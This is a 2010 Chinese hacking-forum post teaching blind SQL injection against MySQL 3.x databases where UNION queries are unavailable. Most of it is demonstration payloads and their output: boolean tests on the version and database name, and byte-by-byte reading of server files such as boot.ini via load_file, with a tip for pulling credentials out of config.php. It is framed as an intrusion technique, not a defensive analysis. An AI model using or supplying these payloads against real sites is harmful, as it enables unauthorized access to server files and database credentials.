WPE|52wpe|我爱WPE

 找回密码
 注册会员
搜索
  • 2027查看
  • 0回复

主题

好友

2712

积分

禁止访问

发表于 2010-2-3 16:54:14 |显示全部楼层
对mysql的注射主要是靠union 的联合查询,但union只对版本4。0以上的有用,对3。0以下的就没用了。。。。。。。。。。

所以在mysql 3.0的数据库里没办法使用union进行跨表查询,但可以使用load_file
但是也不可以直接使用union替换出来。 下面就是我的一点思路:

得到版本:


mysql> select * from user where userid=1 and length(version())<10;
Empty set (0.00 sec)



mysql> select * from user where userid=1 and length(version())<1777;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)


得到当前数据库:


mysql> select * from user where userid=1 and length(database())>0;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)


暴取文件代码:


mysql> select * from user where userid=1 and ascii(mid(load_file(&#39;c:/boot.ini&#39;),1,1))<1;
Empty set (0.05 sec)



mysql> select * from user where userid=1 and ascii(mid(load_file(&#39;c:/boot.ini&#39;),1,1))>1;
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)


因为工作量大,可以用程序来实现(不过也很麻烦)
另外思路: 可以先使用字符处理函数得到"特殊字符的位置",如我们暴的是config.php文件我们就可以选取"localhost"(或其他)为特殊字符,先得到所在的位置(在哪个字节),在去猜它附近的,这样可以省去不少工作量。(未测试)

快速发帖

您需要登录后才可以回帖 登录 | 注册会员

手机版|Archiver|WPE|52wpe|我爱WPE ( 闽ICP备15009081号 )

GMT+8, 2024-5-2 14:22 , Processed in 0.063558 second(s), 16 queries .

返回顶部